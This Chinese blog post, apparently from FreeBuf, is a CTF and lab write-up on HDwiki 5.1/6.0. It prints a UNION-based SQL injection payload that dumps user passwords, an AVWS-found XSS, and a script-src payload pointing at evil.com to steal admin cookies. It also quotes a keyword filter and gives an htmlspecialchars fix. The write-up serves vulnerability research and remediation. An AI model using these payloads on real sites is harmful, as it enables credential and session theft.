最近在刷CTF的題，遇到一道使用HDwiki5.1作爲背景的Web題目，解題思路是利用SQL注入漏洞爆出用戶名和密碼，然後使用用戶名和密碼登錄進去，再利用網站提供的模板上傳功能上傳一句話木馬，從而獲得flag。本來是一個很常見的解題思路，但是這道題目特別之處在於SQL注入漏洞的注入點比較特殊，存在SQL注入漏洞的URL爲：

http://www.hdwiki.com/index.php?edition-compare

正常情況下提交的參數格式爲：

editions_19=4&editions_18=3&eid[]=17&editions_17=2&eid[]=16&editions_16=1&did=35

其中比較重要的參數就是eid[]數組，數組中的元素就是真正要比較的兩個版本，而實際在構造SQL注入代碼時增加了數組元素的長度，利用服務器只對數組前兩個元素進行檢查的缺陷實現了SQL注入，POC代碼如下。

eid[0]=2&eid[1]=19&eid[2]=-3) UNION SELECT 1,2,3,4,5,6,7,8,9,10,user(),username,password,14,15,16,17,18,19 from wiki_user#

考慮到SQL注入點比較特殊，所以想利用自動化工具AVWS進行一次漏洞掃描，看看AVWS是否能夠發現該漏洞，結果是無法發現該漏洞，但是並不是一點收穫也沒有，利用AVWS發現了一個XSS漏洞，可以利用該漏洞實現“Cookie劫持攻擊”，效果和SQL注入攻擊爆出用戶名密碼一樣，同樣能夠上傳一句話木馬。並且，在最新版HDWiki6.0中，該漏洞也沒有得到修復，撰寫本篇博客的主要目的就是記錄這一次完整的AVWS漏洞掃描實戰。

Acunetix是自動化Web應用程序安全測試的先驅，AVWS是Acunetix Web Vulnerability Scanner軟件的字母縮寫版，它是一款強大的Web服務器漏洞掃描程序，能夠輕鬆的發現網站中的各種漏洞。AVWS使用的創新技術包括：

（1）DeepScan —— 用於抓取AJAX 密集型客戶端單頁面應用程序（SPA）

（2）業界最先進的SQL注入和跨站點腳本（XSS）測試，包括基於DOM的XSS的高級檢測

（3）AcuSensor —— 將黑盒掃描技術與放置在源代碼中的傳感器的反饋相結合

本次測試中使用的是AVWS11破解版（注意，使用AVWS10並不能掃出該漏洞），AVWS11最明顯的變化就是開始採用B/S模式，雙擊桌面上的快捷方式，會打開瀏覽器，來到AVWS軟件的首頁。首頁左側有6個模塊：Dashbord、Targets、Vulnerabilities、Scans、Reports和Settings。其中Dashbord模塊以圖形化的方式顯示以往掃描的主要結果；Targets模塊用於顯示或設置掃描目標的信息，在這裏可以看見2條掃描記錄 http://www.hdwiki.com/ 和 http://www.hdwiki6.com/ ，也就是事先部署好的HDwiki5.1版本和6.0版本，在該模塊中還可以使用Add Target按鈕增加新的掃描目標並開始掃描；Vulnerabilities模塊用於顯示所有漏洞的詳細信息，可以選擇其中的任意漏洞進行查看；Scnas模塊用於顯示所有掃描記錄的詳細信息，可以查看掃描耗費的時間，掃描出多少漏洞等等；Reports模塊用於將掃描結果生成報告；Settings模塊用於查看和設置軟件的相關配置信息。

通過上圖可以看出，使用AVWS11對HDwiki5.1和HDwiki6.0版本進行掃描，掃描出的漏洞數量大致相同，其中高危漏洞（紅色標記的）都只有1個，也就是接下來要詳細講解的XSS漏洞。兩個漏洞的形成原因和危害性基本一致，就以HDwiki 6.0版本爲例，詳細分析該漏洞出現的原因以及如何利用和修復。

進入Vulnerabilities，選擇其中的高危漏洞Cross Site Scripting，查看該漏洞的主要信息，重點關注發送的HTTP request。

GET /index.php?search-fulltext-title-%2565%253C%2553%2563%2552%2569%2550%2574%2520%253E%2551%2572%2541%254E%25289515%2529%253C%252F%2573%2543%2572%2569%2570%2554%253E--all-0-within-time-desc-1 HTTP/1.1Referer: http://www.hdwiki6.com/Cookie: PHPSESSID=qf9ottklogjo933tcphdg1l1b1; hd_sid=FFLH1E; bdshare_firstime=1555029035963; BAIDUID=3FC37797246BB4E26D2F57A333107A3E:FG=1; hd_vote_0_21=21Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*Host: www.hdwiki6.com

通過查看該漏洞的詳細信息，知道AVWS使用e<ScRiPt >QrAN(9515)</sCripT>作爲POC代碼，驗證 http://www.hdwiki6.com/index.php 是否存在XSS漏洞。

將POC代碼替換爲相應的攻擊代碼即可實現攻擊目的。本次測試的攻擊目的是利用該漏洞實現“Cookie劫持攻擊”，於是構造攻擊代碼如下：

<ScRiPt src=http://www.evil.com/evil.js</sCripT>

經過URL編碼後爲：

%3c%53%63%52%69%50%74%20%73%72%63%3d%68%74%74%70%3a%2f%2f%77%77%77%2e%65%76%69%6c%2e%63%6f%6d%2f%65%76%69%6c%2e%6a%73%3e%3c%2f%73%43%72%69%70%54%3e

在HDwiki網站的高級搜索功能中輸入編碼後的攻擊代碼，可以發現攻擊代碼成功注入，頁面發生跳轉，並且 www.evil.com 服務器上多出了cookie.txt文件，從而成功盜取admin用戶的cookie（前提是已使用admin賬戶進行登錄），然後就可以利用盜取的Cookie進行登錄。以上就是利用AVWS掃描發現漏洞，並利用漏洞實現“Cookie劫持攻擊”的完整過程。

下面分析漏洞出現的原因，通過剛纔測試POC代碼的過程可以知道，在使用網站提供的搜索功能進行搜索時，服務器返回的頁面中可能被注入腳本代碼，因爲服務器並沒有對用戶輸入的關鍵字做足夠嚴格的檢查，查看服務器端PHP源碼可以發現，服務端使用瞭如下的代碼對用戶輸入的關鍵字進行過濾，而這顯然是不夠的。

function checksecurity() {    $check_array = array('get'=>array('cast', 'exec','show ','show/*','alter ','alter/*','create ','create/*','insert ','insert/*', 'select ','select/*','delete ','delete/*','update ', 'update/*','drop ','drop/*','truncate ','truncate/*','replace ','replace/*','union ','union/*','execute', 'from', 'declare', 'varchar', 'script', 'iframe', ';', '0x', '<', '>', '\\', '%27', '%22', '(', ')'),);    foreach ($check_array as $check_key=>$check_val) {        if(!empty($this->$check_key)) {            foreach($this->$check_key as $getvalue) {                foreach ($check_val as $invalue) {                    if(stripos($getvalue, $invalue) !== false){                        $this->notfound('page is not found!');                        //exit('No Aceess!注意敏感詞!');                        }                    }                }            }        }    }

那麼如何修復該XSS漏洞呢？修復XSS漏洞的有兩個基本基本思路，過濾輸入和過濾輸出。首先分析過濾輸入，對於用戶搜索的輸入框而言，網站並不能過濾太多數據，因爲用戶的輸入具有不確定性，該網站的PHP源碼中已經對很多的字符串進行了過濾，但是還是存在XSS漏洞，因此對於這個漏洞而言，過濾輸入顯然不合適，而是應該換另一個思路，過濾輸出。在輸出頁面的過程，對可能存在的惡意代碼進行轉義顯然是一個比較有效的方式，於是定位生成返回頁面的PHP源碼。

$title=htmlspecialchars(stripslashes($element['keyword']));$this->view->assign("title",$title);$this->view->assign("keyword",rawurlencode($element['keyword']));$this->view->assign("searchword",urlencode(string::hiconv($title,'utf-8')));$this->view->assign("search_tip_switch", $this->setting['search_tip_switch']);$this->view->assign('cloudsearch',$cloudsearch);$this->view->assign('categorylist',$categorylist);$this->view->assign("searchtext",$searchtext);$this->view->assign("list",$list);$this->view->assign("count",$count);$this->view->assign('navtitle',$this->view->lang['search'].'-'.stripslashes(stripslashes($element['keyword'])));$this->view->assign("departstr",$departstr);

查看該代碼可以發現，在輸出頁面之前，服務器端已經對$title這個變量進行了轉義，但是還是存在一個疏忽，那就是沒有對$serchtext變量進行轉義，因此在輸出$serchtext前對$serchtext進行轉義就可以修復該漏洞，具體代碼如下：

$serchtext=htmlspecialchars(stripslashes($serchtext));

*本文作者：艾瑞斯0315，轉載請註明來自FreeBuf.COM

相關文章